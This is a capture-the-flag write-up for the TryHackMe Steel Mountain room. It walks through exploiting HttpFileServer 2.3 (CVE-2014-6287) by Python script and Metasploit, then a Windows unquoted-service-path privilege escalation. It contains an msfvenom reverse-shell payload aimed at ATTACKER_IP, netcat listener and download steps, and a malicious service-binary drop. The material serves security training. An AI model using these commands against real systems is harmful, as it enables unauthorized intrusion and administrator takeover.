Write-up for the Steel Moutain CTF on TryHackMe.

1. Recon

Nmap scan result :

PORT	STATE SERVICE	REASON	VERSION
80/tcp	open	http	syn-ack Microsoft IIS httpd 8.5
135/tcp	open	msrpc	syn-ack Microsoft Windows RPC
139/tcp	open	netbios-ssn	syn-ack Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	syn-ack Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp	open	ssl/ms-wbt-server? syn-ack	
5985/tcp	open	http	syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8080/tcp	open	http	syn-ack HttpFileServer httpd 2.3
47001/tcp open	http	syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)	
49152/tcp open	msrpc	syn-ack Microsoft Windows RPC	
49153/tcp open	msrpc	syn-ack Microsoft Windows RPC	
49154/tcp open	msrpc	syn-ack Microsoft Windows RPC	
49155/tcp open	msrpc	syn-ack Microsoft Windows RPC	
49156/tcp open	msrpc	syn-ack Microsoft Windows RPC	
49169/tcp open	msrpc	syn-ack Microsoft Windows RPC	
49170/tcp open	msrpc	syn-ack Microsoft Windows RPC	

First, we can easily guess that the host is running Windows.

WEB

There are multiple webservers: - PORT 80 - PORT 8080

The first one which is running a wnidows IIS server just show a simple web page with an image of "Bill Harper" But the second use an uncommon server, an HttpFileServer running on version 2.3

2. Getting access

When searching on google this particular webserver, we can find multiple sources of an RCE exploit available for this webserver. There are python exploits and a metasploit module, we will use both of them.

1 - Python exploit

CVE : CVE-2014-6287 Url of the script : https://www.exploit-db.com/exploits/39161

In order to make it working we need to do multiple things. First, we need to modify the script by replacing the **attacker ip** and **attacker port** Then, **You need to be using a web server hosting netcat (http:// :80/nc.exe).** For this, we will just set up a simple python server with a netcat binary in our directory:

Netcat binary : https://github.com/int0x33/nc.exe/blob/master/nc.exe

> sudo python3 -m http.server 80

When all of this id done, we need to set up a listener

> nc -lvnp LOCAL_PORT

Warning: You may need to solve some bugs of the exploit, like missing parentheses, or encoding, or replace urllib2 with urllib.

Once all of this is done, we can start the exploit.

> python3 exploit.py SERVER_IP SERVER_PORT

It may need to run the exploit multiple time

2 - Metasploit

Searching in the metasploit list of exploit using CVE number, we can find :

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/http/rejetto_hfs_exec	2014-09-11	excellent	Yes	Rejetto HttpFileServer Remote Command Execution

We need to set LHOST and LPORT at our attacker host/port for the listener. Then modify RHOST and RPORT with the server port and ip.

And run exploit :

> EXPLOIT

After the payload is transfered, you can Control-C and enter :

> sessions -i session_number

3. Privilege Escalation

To enumerate the host, we will use the PowerUp script. https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

You can transfer it using the upload command of meterpreter or by using a python server.

In meterpreter, you can load powershell to use a powershell shell:

> load powershell powershell_shell

Then launch the script :

> . .\PowerUp.ps1

We can see in the script output the following :

```
ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubd
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths
```

This vulnerability is named : "Unquoted Service Paths". When a service is calling apps using path with space like : "Advanced Systemcare" but are not using brackets, and if we can write in thoses directories, this create a vulnerability. **Warning** : The **CanRestart** parameter is important, since we need to restart the service.

Since windows will check a program each time that there are not brackets in the path, it will try here to check : C:\Program.exe C:\Program Files (x86)\IObit\Advanced.exe C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

And it will stop when it find one good executable. We can create a custom binary called Advanced.exe to make a reverse shell with root access.

1 - Crafting the payload

We will use msfvenom to craft our custom binary.

> msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=ATTACKER_PORT -e x86/shikata_ga_nai -f exe-service -o Advanced.exe

2 - Getting the admin reverse shell

We need to upload our Advanced.exe in the C:\Program Files (x86)\IObit folder, we can again use the upload command of meterpreter or a python server. Then, we set up a listener.

Finaly, we need to restart the service for our binary to be executed.

> Restart-Service -Name AdvancedSystemCareService9

If there is no error, we should have a reverse shell with administrator level.